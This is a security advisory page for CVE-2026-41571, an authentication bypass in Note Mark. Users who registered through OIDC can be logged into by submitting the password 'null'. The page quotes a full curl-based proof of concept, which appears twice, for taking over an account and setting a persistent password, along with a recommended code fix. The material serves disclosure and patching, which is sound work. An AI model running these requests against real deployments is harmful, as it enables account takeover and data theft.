CVE-2026-41571: Note Mark OIDC-registered Users Authenticated By Submitting Vulnerability

CRITICAL
Advisory Identifier: GHSA-pxf8-6wqm-r6hh
CVSS 9.4
CWE-287
Published
Advisory Summary

CVE-2026-41571 is a CRITICAL (CVSS 9.4) oidc-registered users authenticated by submitting vulnerability (CWE-287: Improper Authentication) affecting Note Mark libraries in the Go ecosystem. The issue involves oidc-registered users authenticated by submitting password "null". Remediation is available by upgrading affected packages to version 0.0.0-20260417132909-dea5530cc989.

CVE-2026-41571 at a Glance

CVE Identifier CVE-2026-41571
GHSA Identifier GHSA-pxf8-6wqm-r6hh
Severity CRITICAL
CVSS v3.1 Base Score 9.4
CWE Classification CWE-287: Improper Authentication
Affected Product Note Mark
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 9.4

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability Low (A:L)

How to Fix CVE-2026-41571

To remediate this vulnerability, upgrade all affected Note Mark dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/enchant97/note-mark/backend fixed: 0.0.0-20260417132909-dea5530cc989
Upgrade github.com/enchant97/note-mark/backend to 0.0.0-20260417132909-dea5530cc989
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/enchant97/note-mark/backend

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-41571, inspect your project dependencies for Note Mark:

inspect dependencies for github.com/enchant97/note-mark/backend

Analyze the terminal output to locate any version of Note Mark in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.0.0-20260417132909-dea5530cc989), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-287: Improper Authentication, where when an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct. In Note Mark, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary `IsPasswordMatch` in `backend/db/models.go` falls back to a hard-coded `bcrypt("null")` placeholder whenever a user has no stored password. OIDC-registered users are created with an empty password, so anyone who submits `password: "null"` to the internal login endpoint receives a valid session for that user. The bypass is unauthenticated and requires no user interaction. ## Details `backend/db/models.go:36` defines the placeholder hash used by the timing-attack mitigation inside `IsPasswordMatch`: ```go var nullPasswordHash, _ = bcrypt.GenerateFromPassword([]byte("null"), bcrypt.DefaultCost) ``` `IsPasswordMatch` (`backend/db/models.go:46-58`) substitutes that placeholder when the stored password is empty: ```go func (u *User) IsPasswordMatch(plainPassword string) bool { var current []byte if len(u.Password) == 0 { // prevent CWE-208 current = nullPasswordHash } else { current = u.Password } if err := bcrypt.CompareHashAndPassword(current, []byte(plainPassword)); err == nil { return true } return false } ``` OIDC-registered users are stored with an empty password at `backend/services/auth.go:102-115`: ```go return db.DB.Transaction(func(tx *gorm.DB) error { user := db.User{ Username: username, Password: []byte(""), } // ... }) ``` The internal login endpoint (`POST /api/auth/token`, handled at `backend/services/auth.go:20-54`) calls `IsPasswordMatch` with the caller-supplied password. For any OIDC-only user, `bcrypt.CompareHashAndPassword(nullPasswordHash, []byte("null"))` returns nil, the function returns true, and the server issues a `Auth-Session-Token` cookie. `EnableInternalLogin` defaults to `true`, and `GET /api/info` discloses both OIDC configuration and internal-login status. `enableAnonymousUserSearch` also defaults to `true`, so an unauthenticated caller enumerates usernames via `GET /api/users/search` before touching the login endpoint. Once the session is issued, `PUT /api/users/me/password` accepts `existingPassword: "null"` because the same `IsPasswordMatch` routine verifies the existing password. The caller writes a new password onto the OIDC user's row, which locks the legitimate OIDC user out on the next internal-login path. ## Proof of Concept Tested against `note-mark` v0.19.2. Step 1: Start note-mark pointed at any OIDC provider and set `OIDC__ENABLE_USER_CREATION=true`. The defaults for `ENABLE_INTERNAL_LOGIN` and `ENABLE_ANONYMOUS_USER_SEARCH` do not need to be changed. ```bash docker run -d --name note-mark-poc \ -e OIDC__PROVIDER_NAME=example \ -e OIDC__CLIENT_ID=note-mark \ -e OIDC__CLIENT_SECRET=secret \ -e OIDC__ISSUER_URL=https://your-oidc-provider/ \ -e OIDC__ENABLE_USER_CREATION=true \ -p 8088:8080 ghcr.io/enchant97/note-mark-backend:0.19.2 ``` Step 2: Alice registers via the OIDC flow. `TryCreateNewOidcUser` stores her row with `Password = []byte("")`. Step 3: Bob confirms the preconditions. ```bash curl -s http://localhost:8088/api/info # {"allowInternalLogin":true,"oidcProvider":"example","enableAnonymousUserSearch":true,...} ``` Step 4: Bob logs in as Alice via the internal endpoint. ```bash curl -i -X POST http://localhost:8088/api/auth/token \ -H 'Content-Type: application/json' \ -d '{"grant_type":"password","username":"alice","password":"null"}' ``` Response: ``` HTTP/1.1 204 No Content Set-Cookie: Auth-Session-Token=eyJ...; Path=/; HttpOnly; SameSite=Strict ``` Step 5: Bob uses the cookie to read Alice's account. ```bash curl -b 'Auth-Session-Token=eyJ...' http://localhost:8088/api/users/me # {"id":"...","username":"alice","name":"Alice"} ``` Step 6: Bob persists access by writing his own password onto Alice's row. ```bash curl -i -b 'Auth-Session-Token=eyJ...' -X PUT \ http://localhost:8088/api/users/me/password \ -H 'Content-Type: application/json' \ -d '{"existingPassword":"null","newPassword":"bob-owns-this-now"}' # HTTP/1.1 204 No Content ``` Alice's next internal-login attempt fails; her OIDC flow still works, but Bob now holds a second valid credential on the same row. A companion script that drives all six steps ships at `pocs/poc_014_null_password_bypass.sh`. ## Impact Every OIDC-only user on a note-mark deployment with `ENABLE_INTERNAL_LOGIN=true` (the default) is one HTTP request from takeover. Bob reads Alice's private notebooks, her note markdown, and her uploaded assets. He writes, edits, or deletes anything Alice owns. Step 6 grants persistent access and costs Alice her account until the maintainer clears the row by hand. The default configuration ships both authentication paths side by side, so any site that turns on OIDC is affected without further misconfiguration on the operator's part. ## Recommended Fix The clearest fix rejects the login path for rows with no stored password. Add the check after the user lookup in `GetAccessToken`: ```go // backend/services/auth.go:28 var user db.User if err := db.DB. First(&user, "username = ?", username). Select("id", "password").Error; err != nil { user.IsPasswordMatch(password) // preserve CWE-208 timing mitigation return core.AccessToken{}, InvalidCredentialsError } if len(user.Password) == 0 { return core.AccessToken{}, InvalidCredentialsError } if !user.IsPasswordMatch(password) { return core.AccessToken{}, InvalidCredentialsError } ``` The equivalent change belongs in `UpdateUserPassword` at `backend/services/users.go:53-61`, since the same routine verifies `existingPassword` during the persistence step. Replacing `nullPasswordHash` with a per-instance unguessable plaintext closes the hole too, but relies on the placeholder staying secret: ```go // backend/db/models.go:36 var nullPasswordHash, _ = bcrypt.GenerateFromPassword([]byte(uuid.NewString()), bcrypt.DefaultCost) ``` The explicit empty-password check is preferable because the intent is readable in the source. --- *Found by [aisafe.io](https://aisafe.io)*

CVE-2026-41571 Affected Note Mark Versions

1 component(s)
Fixed Versions:
0.0.0-20260417132909-dea5530cc989
Product / Package Ecosystem Affected Versions Fixed Version
github.com/enchant97/note-mark/backend
Go
< 0.0.0-20260417132909-dea5530cc989
0.0.0-20260417132909-dea5530cc989

References

Frequently Asked Questions

What is CVE-2026-41571?
CVE-2026-41571 is a security vulnerability in Note Mark involving OIDC-registered users authenticated by submitting password "null" under CWE-287: Improper Authentication.
Which Note Mark versions are affected?
Affected versions include releases prior to 0.0.0-20260417132909-dea5530cc989 across affected packages: github.com/enchant97/note-mark/backend.
What version fixes CVE-2026-41571?
Upgrading to 0.0.0-20260417132909-dea5530cc989 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/enchant97/note-mark/backend affected?
Yes, github.com/enchant97/note-mark/backend is affected in releases prior to 0.0.0-20260417132909-dea5530cc989. Upgrade your dependency to 0.0.0-20260417132909-dea5530cc989 or later.
What is the CVSS score of CVE-2026-41571?
CVE-2026-41571 has a CVSS v3.1 base score of 9.4 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L.
What CWE is associated with CVE-2026-41571?
CVE-2026-41571 is classified under CWE-287: Improper Authentication (When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.).
How can I check Go dependencies for CVE-2026-41571?
Run the dependency tree command: 'inspect dependencies for github.com/enchant97/note-mark/backend'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-pxf8-6wqm-r6hh",
  "modified" : "2026-05-07T20:20:12Z",
  "published" : "2026-04-25T23:40:19Z",
  "aliases" : [ "CVE-2026-41571" ],
  "summary" : "Note Mark: OIDC-registered users authenticated by submitting password \"null\"",
  "details" : "## Summary\n\n`IsPasswordMatch` in `backend/db/models.go` falls back to a hard-coded `bcrypt(\"null\")` placeholder whenever a user has no stored password. OIDC-registered users are created with an empty password, so anyone who submits `password: \"null\"` to the internal login endpoint receives a valid session for that user. The bypass is unauthenticated and requires no user interaction.\n\n## Details\n\n`backend/db/models.go:36` defines the placeholder hash used by the timing-attack mitigation inside `IsPasswordMatch`:\n\n```go\nvar nullPasswordHash, _ = bcrypt.GenerateFromPassword([]byte(\"null\"), bcrypt.DefaultCost)\n```\n\n`IsPasswordMatch` (`backend/db/models.go:46-58`) substitutes that placeholder when the stored password is empty:\n\n```go\nfunc (u *User) IsPasswordMatch(plainPassword string) bool {\n    var current []byte\n    if len(u.Password) == 0 {\n        // prevent CWE-208\n        current = nullPasswordHash\n    } else {\n        current = u.Password\n    }\n    if err := bcrypt.CompareHashAndPassword(current, []byte(plainPassword)); err == nil {\n        return true\n    }\n    return false\n}\n```\n\nOIDC-registered users are stored with an empty password at `backend/services/auth.go:102-115`:\n\n```go\nreturn db.DB.Transaction(func(tx *gorm.DB) error {\n    user := db.User{\n        Username: username,\n        Password: []byte(\"\"),\n    }\n    // ...\n})\n```\n\nThe internal login endpoint (`POST /api/auth/token`, handled at `backend/services/auth.go:20-54`) calls `IsPasswordMatch` with the caller-supplied password. For any OIDC-only user, `bcrypt.CompareHashAndPassword(nullPasswordHash, []byte(\"null\"))` returns nil, the function returns true, and the server issues a `Auth-Session-Token` cookie.\n\n`EnableInternalLogin` defaults to `true`, and `GET /api/info` discloses both OIDC configuration and internal-login status. `enableAnonymousUserSearch` also defaults to `true`, so an unauthenticated caller enumerates usernames via `GET /api/users/search` before touching the login endpoint.\n\nOnce the session is issued, `PUT /api/users/me/password` accepts `existingPassword: \"null\"` because the same `IsPasswordMatch` routine verifies the existing password. The caller writes a new password onto the OIDC user's row, which locks the legitimate OIDC user out on the next internal-login path.\n\n## Proof of Concept\n\nTested against `note-mark` v0.19.2.\n\nStep 1: Start note-mark pointed at any OIDC provider and set `OIDC__ENABLE_USER_CREATION=true`. The defaults for `ENABLE_INTERNAL_LOGIN` and `ENABLE_ANONYMOUS_USER_SEARCH` do not need to be changed.\n\n```bash\ndocker run -d --name note-mark-poc \\\n  -e OIDC__PROVIDER_NAME=example \\\n  -e OIDC__CLIENT_ID=note-mark \\\n  -e OIDC__CLIENT_SECRET=secret \\\n  -e OIDC__ISSUER_URL=https://your-oidc-provider/ \\\n  -e OIDC__ENABLE_USER_CREATION=true \\\n  -p 8088:8080 ghcr.io/enchant97/note-mark-backend:0.19.2\n```\n\nStep 2: Alice registers via the OIDC flow. `TryCreateNewOidcUser` stores her row with `Password = []byte(\"\")`.\n\nStep 3: Bob confirms the preconditions.\n\n```bash\ncurl -s http://localhost:8088/api/info\n# {\"allowInternalLogin\":true,\"oidcProvider\":\"example\",\"enableAnonymousUserSearch\":true,...}\n```\n\nStep 4: Bob logs in as Alice via the internal endpoint.\n\n```bash\ncurl -i -X POST http://localhost:8088/api/auth/token \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"grant_type\":\"password\",\"username\":\"alice\",\"password\":\"null\"}'\n```\n\nResponse:\n\n```\nHTTP/1.1 204 No Content\nSet-Cookie: Auth-Session-Token=eyJ...; Path=/; HttpOnly; SameSite=Strict\n```\n\nStep 5: Bob uses the cookie to read Alice's account.\n\n```bash\ncurl -b 'Auth-Session-Token=eyJ...' http://localhost:8088/api/users/me\n# {\"id\":\"...\",\"username\":\"alice\",\"name\":\"Alice\"}\n```\n\nStep 6: Bob persists access by writing his own password onto Alice's row.\n\n```bash\ncurl -i -b 'Auth-Session-Token=eyJ...' -X PUT \\\n  http://localhost:8088/api/users/me/password \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"existingPassword\":\"null\",\"newPassword\":\"bob-owns-this-now\"}'\n# HTTP/1.1 204 No Content\n```\n\nAlice's next internal-login attempt fails; her OIDC flow still works, but Bob now holds a second valid credential on the same row.\n\nA companion script that drives all six steps ships at `pocs/poc_014_null_password_bypass.sh`.\n\n## Impact\n\nEvery OIDC-only user on a note-mark deployment with `ENABLE_INTERNAL_LOGIN=true` (the default) is one HTTP request from takeover. Bob reads Alice's private notebooks, her note markdown, and her uploaded assets. He writes, edits, or deletes anything Alice owns. Step 6 grants persistent access and costs Alice her account until the maintainer clears the row by hand.\n\nThe default configuration ships both authentication paths side by side, so any site that turns on OIDC is affected without further misconfiguration on the operator's part.\n\n## Recommended Fix\n\nThe clearest fix rejects the login path for rows with no stored password. Add the check after the user lookup in `GetAccessToken`:\n\n```go\n// backend/services/auth.go:28\nvar user db.User\nif err := db.DB.\n    First(&user, \"username = ?\", username).\n    Select(\"id\", \"password\").Error; err != nil {\n    user.IsPasswordMatch(password) // preserve CWE-208 timing mitigation\n    return core.AccessToken{}, InvalidCredentialsError\n}\n\nif len(user.Password) == 0 {\n    return core.AccessToken{}, InvalidCredentialsError\n}\n\nif !user.IsPasswordMatch(password) {\n    return core.AccessToken{}, InvalidCredentialsError\n}\n```\n\nThe equivalent change belongs in `UpdateUserPassword` at `backend/services/users.go:53-61`, since the same routine verifies `existingPassword` during the persistence step.\n\nReplacing `nullPasswordHash` with a per-instance unguessable plaintext closes the hole too, but relies on the placeholder staying secret:\n\n```go\n// backend/db/models.go:36\nvar nullPasswordHash, _ = bcrypt.GenerateFromPassword([]byte(uuid.NewString()), bcrypt.DefaultCost)\n```\n\nThe explicit empty-password check is preferable because the intent is readable in the source.\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/enchant97/note-mark/backend"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.0.0-20260417132909-dea5530cc989"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/enchant97/note-mark/security/advisories/GHSA-pxf8-6wqm-r6hh"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-41571"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/enchant97/note-mark/commit/dea5530cc9891187b51548ef9f2868b7dc9f4e92"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/enchant97/note-mark"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/enchant97/note-mark/releases/tag/v0.19.3"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-287" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-25T23:40:19Z",
    "nvd_published_at" : "2026-05-04T18:16:29Z"
  }
}